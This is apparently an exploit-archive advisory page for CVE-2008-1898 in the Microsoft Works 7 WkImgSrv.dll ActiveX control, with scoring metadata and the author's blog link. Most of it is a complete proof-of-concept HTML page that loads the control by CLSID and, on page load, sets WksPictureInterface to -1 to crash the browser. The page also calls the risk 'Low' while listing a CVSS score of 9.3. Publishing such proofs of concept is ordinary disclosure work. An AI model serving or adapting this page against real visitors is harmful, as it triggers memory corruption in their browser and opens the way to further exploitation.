Microsoft Works 7 WkImgSrv.dll crash POC

2008.04.22

Credit: wsn1983

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-1898

CWE: CWE-20

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

DLL VERSION 7.03.0616.0

TEST ON IE7+XPSP2_CN

MYBLOG:http://hi.baidu.com/nansec/

0DAY? I don't know.

POC:

<html>

<head>

<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>

<script language="JavaScript">

function payload() {												var num = -1;

obj.WksPictureInterface = num;

}

</script>

</head>

<body onload="JavaScript: return payload();">

<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">

</object>

</body>

</html>

See this note in RAW Version

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Microsoft Works 7 WkImgSrv.dll crash POC

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